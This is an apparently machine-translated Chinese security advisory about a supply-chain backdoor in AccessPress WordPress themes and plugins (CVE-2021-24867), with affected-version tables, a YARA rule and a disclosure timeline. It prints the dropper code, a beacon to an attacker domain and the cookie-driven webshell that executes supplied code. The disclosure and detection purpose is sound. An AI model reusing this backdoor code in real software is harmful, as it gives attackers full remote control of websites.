在 AccessPress 主題的主題和插件中發現後門
已發表: 2022-01-192 月 1 日更新 -更改了“受影響的主題”部分,以反映新版本的主題開始出現。
在調查一個受感染的網站時,我們在 AccessPress Themes(又名 Access Keys)的主題中發現了一些可疑代碼,AccessPress Themes 是一家擁有大量流行主題和插件的供應商。 經過進一步調查,我們發現供應商的所有主題和大多數插件都包含此可疑代碼,但前提是從他們自己的網站下載。 如果直接從 WordPress.org 目錄下載或安裝相同的擴展程序,則可以。
由於擴展被破壞的方式,我們懷疑外部攻擊者已經破壞了 AccessPress Themes 的網站,試圖使用他們的擴展來感染更多的網站。
我們立即聯繫了供應商,但起初我們沒有收到回复。 在將其升級到 WordPress.org 插件團隊後,我們的懷疑得到了證實。 AccessPress Themes 網站於 2021 年 9 月上半月遭到入侵,可在其網站上下載的擴展程序被注入了後門。
一旦我們建立了與供應商溝通的渠道,我們就會與他們分享我們的詳細發現。 他們立即從他們的網站上刪除了有問題的擴展。
大多數插件已經更新,已知的干淨版本列在這篇文章的底部。 但是,受影響的主題尚未更新,而是從 WordPress.org 主題存儲庫中提取的。 如果您的網站上安裝了本文底部列出的任何主題,我們建議您盡快遷移到新主題。
本公開涉及大量擴展,包括插件和主題。 跳到下面的列表,或繼續閱讀以了解詳細信息。
細節:
供應商:AccessPress 主題
供應商網址:https://accesspressthemes.com
插件:多個
主題:多個
CVE:CVE-2021-24867
分析:
受感染的擴展程序包含一個 webshell 的釋放器,使攻擊者可以完全訪問受感染的站點。 滴管位於主插件或主題目錄中的文件inital.php
中。 運行時,它會在wp-includes/vars.php
中安裝一個基於 cookie 的 webshell。 shell 作為一個函數安裝在wp_is_mobile()
函數前面,名稱為wp_is_mobile_fix()
。 這大概是為了不引起隨便翻閱vars.php
文件的任何人的懷疑。
function makeInit() {
$b64 = 'ba' . 'se64' . '_dec' . 'ode';
$b = 'ZnVuY3Rpb2........TsKCg==';
$f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
if(file_exists($f)) {
$fp = 0777 & @fileperms($f);
$ft = @filemtime($f);
$fc = @file_get_contents($f);
if(strpos($fc, 'wp_is_mobile_fix') === false) {
$fc = str_replace('function wp_is_mobile()',
$b64($b) . 'function wp_is_mobile()',
$fc);
@file_put_contents($f, $fc);
@touch($f, $ft);
@chmod($f, $fp);
}
return true;
}
return false;
}
一旦安裝了 shell,dropper 將通過從 URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg
加載遠程圖像,其中包含受感染站點的 url 和有關信息它使用哪個主題作為查詢參數。 最後,它會刪除 dropper 源文件以避免在請求執行完成時檢測到。
function finishInit() {
unlink(__FILE__);
}
add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {
function wp_notice_plug() {
echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
}
}
register_shutdown_function('finishInit');
如果請求中的用戶代理字符串是wp_is_mobile
並且請求包含八個特定的 cookie,則 webshell 本身會觸發。 它將這些提供的 cookie 拼湊在一起並執行有效負載。
$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
$g = $_COOKIE;
(count($g) == 8 && $is_wp_mobile) ?
(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) &&
@$_iv()) : $g;
我們還看到了另一種可能較舊的後門變體,直接嵌入在主題/插件的functions.php
文件中。 此變體使用相同的機制,將來自 8 個 cookie 的有效負載拼湊在一起,但不過濾請求的用戶代理字符串。
為確保 dropper 被執行,主插件文件(用於插件)或functions.php
文件(用於主題)已用代碼修改以執行inital.php
文件(如果存在)。
if(is_admin()) {
add_action( "init", 'apap_plugin_check' );
}
function apap_plugin_check(){
if(file_exists(__DIR__ . "/inital.php")){
include(__DIR__ . "/inital.php");
}
}
受感染插件時間戳的一個引人注目的細節是它們都是從 9 月初開始的。 大多數文件來自 9 月 6 日和 7 日,少數文件來自 9 月 2 日和 3 日。同樣的主題,除了 9 月 9 日的accessbuddy
之外,所有主題都在 9 月 22 日遭到破壞。
此外,zip-archives 中的時間戳非常統一,幾乎所有文件都具有完全相同的時間戳,除了修改後的主插件文件和添加的 dropper 文件幾分鐘後(通常大約 2-5 分鐘後)存檔中的其他文件)。
然而,查看從wordpress.org
存儲庫下載的 zip 文件的時間戳,我們發現與插件/主題實際更新時間相對應的時間戳分佈。 此外,存檔中時間戳的分佈不太統一,它反映了哪些文件在版本中更新,哪些文件與舊版本相比沒有變化。
這向我們表明,來自 AccessPress Themes 網站的文件是故意修改的,並且是在最初發布後作為協調行動。 妥協似乎分兩個階段進行,一個用於插件,另一個用於主題。 他們每個人都有一些早期的嘗試,可能是為了微調這個過程。
我們的調查只查看了 AccessPress Themes 網站上免費提供的主題和插件。 我們假設他們的付費專業主題也受到了類似的影響,但我們還沒有檢查過這些。 如果您有任何這些,請聯繫 AccessPress Themes 的支持以獲得進一步的建議。
受影響的主題
如果您的站點上安裝了以下任何主題,並且在Bad列中安裝了版本號,我們建議您立即升級到Clean列中的版本。 值得注意的是,通過 WordPress.org 安裝的主題是乾淨的,即使它們列在“壞”列中也是如此。 為了安全起見,我們仍然建議升級到已知的干淨版本。
Clean列中沒有版本號的主題尚未升級,如果可能,我們建議將其替換為另一個主題。
主題蛞蝓 | 壞的 | 乾淨的 |
---|---|---|
訪問夥伴 | 1.0.0 | |
accesspress-基本 | 3.2.1 | 3.2.2 |
accesspress-lite | 2.92 | 2.93 |
accesspress-mag | 2.6.5 | 2.6.6 |
訪問新聞視差 | 4.5 | 4.6 |
accesspress-ray | 1.19.5 | |
訪問press-root | 2.5 | 2.6.0 |
accesspress-訂書釘 | 1.9.1 | |
訪問新聞商店 | 2.4.9 | 2.5.0 |
代理精簡版 | 1.1.6 | 1.1.7 |
適當的 | 1.0.6 | |
短髮 | 1.0.4 | 1.0.5 |
博主 | 1.2.6 | 1.2.7 |
建築精簡版 | 1.2.5 | 1.2.6 |
多科 | 1.0.27 | 1.1.0 |
開導 | 1.3.5 | 1.3.6 |
時裝店 | 1.2.1 | |
攝影 | 2.4.0 | 2.4.1 |
嘎嘎公司 | 1.0.8 | |
gaga-lite | 1.4.2 | |
單次 | 2.2.8 | |
視差博客 | 3.1.1574941215 | |
視差體 | 1.3.6 | 1.3.7 |
蓬特 | 1.1.2 | 1.1.3 |
圍繞 | 1.3.1 | |
波紋 | 1.2.0 | 1.2.1 |
滾動條 | 2.1.0 | |
體育雜誌 | 1.2.1 | |
商店別墅 | 1.4.1 | 1.4.2 |
搖擺式 | 1.1.9 | 1.2.0 |
發射器 | 1.3.2 | 1.3.3 |
星期一 | 1.4.1 | |
未編碼精簡版 | 1.3.1 | |
unicon-lite | 1.2.6 | 1.2.7 |
vmag | 1.2.7 | 1.2.8 |
vmagazine-lite | 1.3.5 | 1.3.7 |
vmagazine-新聞 | 1.0.5 | 1.0.6 |
zigcy-寶貝 | 1.0.6 | 1.0.7 |
zigcy-化妝品 | 1.0.5 | 1.0.6 |
zigcy-lite | 2.0.9 | 2.1.0 |
受影響的插件
如果您在您的站點上安裝了以下任何一個版本號在Bad列中的插件,我們建議您立即升級到Clean列中的版本。 值得注意的是,通過 WordPress.org 安裝的插件是乾淨的,即使它們被列在Bad列中。 為了安全起見,我們仍然建議升級到已知的干淨版本。
Clean列中沒有版本號的插件尚未升級,我們建議盡可能將其替換為其他插件。
插件蛞蝓 | 壞的 | 乾淨的 | 筆記 |
---|---|---|---|
accesspress-匿名發布 | 2.8.0 | 2.8.1 | 1 |
accesspress-自定義-css | 2.0.1 | 2.0.2 | |
accesspress-custom-post-type | 1.0.8 | 1.0.9 | |
accesspress-facebook-auto-post | 2.1.3 | 2.1.4 | |
accesspress-instagram-feed | 4.0.3 | 4.0.4 | |
accesspress-pinterest | 3.3.3 | 3.3.4 | |
accesspress-社會計數器 | 1.9.1 | 1.9.2 | |
accesspress-social-icons | 1.8.2 | 1.8.3 | |
accesspress-social-login-lite | 3.4.7 | 3.4.8 | |
訪問新聞社交分享 | 4.5.5 | 4.5.6 | |
accesspress-twitter-auto-post | 1.4.5 | 1.4.6 | |
accesspress-twitter-feed | 1.6.7 | 1.6.8 | |
ak-menu-icons-lite | 1.0.9 | ||
伴侶 | 1.0.7 | 2 | |
ap-聯繫表格 | 1.0.6 | 1.0.7 | |
ap-custom-testimonial | 1.4.6 | 1.4.7 | |
ap-mega-菜單 | 3.0.5 | 3.0.6 | |
應用定價表精簡版 | 1.1.2 | 1.1.3 | |
頂點通知欄精簡版 | 2.0.4 | 2.0.5 | |
cf7-store-to-db-lite | 1.0.9 | 1.1.0 | |
評論-禁用-訪問 | 1.0.7 | 1.0.8 | |
簡單的標籤-cta | 1.0.7 | 1.0.8 | |
珠穆朗瑪峰管理主題精簡版 | 1.0.7 | 1.0.8 | |
即將到來的珠穆朗瑪峰 | 1.1.0 | 1.1.1 | |
珠穆朗瑪峰評論評級精簡版 | 2.0.4 | 2.0.5 | |
everest-counter-lite | 2.0.7 | 2.0.8 | |
everest-faq-manager-lite | 1.0.8 | 1.0.9 | |
珠穆朗瑪峰畫廊精簡版 | 1.0.8 | 1.0.9 | |
珠穆朗瑪峰谷歌地方評論精簡版 | 1.0.9 | 2.0.0 | |
珠穆朗瑪峰評論精簡版 | 1.0.7 | ||
珠穆朗瑪峰-tab-lite | 2.0.3 | 2.0.4 | |
珠穆朗瑪峰時間線精簡版 | 1.1.1 | 1.1.2 | |
內聯號召性用語構建器精簡版 | 1.1.0 | 1.1.1 | |
woocommerce-lite 產品滑塊 | 1.1.5 | 1.1.6 | |
智能標誌展示精簡版 | 1.1.7 | 1.1.8 | |
智能滾動帖子 | 2.0.8 | 2.0.9 | |
智能滾動到頂部精簡版 | 1.0.3 | 1.0.4 | |
總 gdpr 合規性精簡版 | 1.0.4 | ||
全團隊精簡版 | 1.1.1 | 1.1.2 | |
終極作者盒精簡版 | 1.1.2 | 1.1.3 | |
終極形式建造者精簡版 | 1.5.0 | 1.5.1 | |
woo-badge-designer-lite | 1.1.0 | 1.1.1 | |
wp-1-滑塊 | 1.2.9 | 1.3.0 | |
wp-blog-manager-lite | 1.1.0 | 1.1.2 | |
wp-comment-designer-lite | 2.0.3 | 2.0.4 | |
wp-cookie-用戶信息 | 1.0.7 | 1.0.8 | |
wp-facebook-review-showcase-lite | 1.0.9 | ||
wp-fb-messenger-button-lite | 2.0.7 | ||
wp-浮動菜單 | 1.4.4 | 1.4.5 | |
wp-media-manager-lite | 1.1.2 | 1.1.3 | |
wp-popup-banners | 1.2.3 | 1.2.4 | |
wp-popup-lite | 1.0.8 | ||
wp-產品-畫廊-精簡版 | 1.1.1 |
筆記:
- 該插件尚未更新,但被認為是乾淨的,因為 AccessPress 主題網站上的版本是舊版本。
- 該插件尚未更新,但被認為是乾淨的,因為它最初在 AccessPress 主題網站上不可用。
國際奧委會
以下 YARA 規則可用於檢查站點是否已被感染。 它將檢測感染的 dropper 部分以及已安裝的 webshell。
rule accesspress_backdoor_infection
{
strings:
// IoC's for the dropper
$inject0 = "$fc = str_replace('function wp_is_mobile()',"
$inject1 = "$b64($b) . 'function wp_is_mobile()',"
$inject2 = "$fc);"
$inject3 = "@file_put_contents($f, $fc);"
// IoC's for the dumped payload
$payload0 = "function wp_is_mobile_fix()"
$payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
$payload2 = "$g = $_COOKIE;"
$payload3 = "(count($g) == 8 && $is_wp_mobile) ?"
$url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/
condition:
all of ( $inject* )
or all of ( $payload* )
or $url0
}
建議
如果您直接從 AccessPress Themes 或除 WordPress.org 以外的任何其他地方安裝了任何主題或插件,則應立即升級到上表所示的安全版本。 如果沒有可用的安全版本,請將其替換為來自 WordPress.org 的最新版本。
請注意,這不會從您的系統中刪除後門,因此您需要重新安裝乾淨的 WordPress 版本以恢復在安裝後門期間所做的核心文件修改。
如果您有來自 AccessPress Themes/Access Keys 的付費主題或插件,我們建議您聯繫他們的支持以尋求幫助。
我們強烈建議您為您的站點制定包含惡意文件掃描和備份的安全計劃。 Jetpack Security 是一種出色的 WordPress 安全選項,可確保您的網站和訪問者的安全。 自 9 月 30 日以來,Jetpack Scan 已檢測到此後門和 dropper 的所有變體。
時間線
2021-09-22:Jetpack Scan 團隊在 FotoGraphy 主題中發現了 dropper 和後門,並嘗試就初步發現聯繫供應商。
2021-09-27:確認從供應商網站下載的所有當前免費插件和主題中存在 dropper + 後門。
2021-09-28:確認從 wordpress.org 下載的文件中不存在 dropper + 後門
2021-09-29:嘗試再次聯繫供應商,提供新發現的更新。
2021-10-14:升級到 WordPress 插件團隊以嘗試與供應商取得聯繫。
2021 年 10 月 15 日:從供應商的站點中刪除了受損的擴展程序。
2021-10-16:供應商的回應
2022-01-17:大多數插件已升級到新版本,主題已從 WordPress.org 中提取。
2022-01-18 公開披露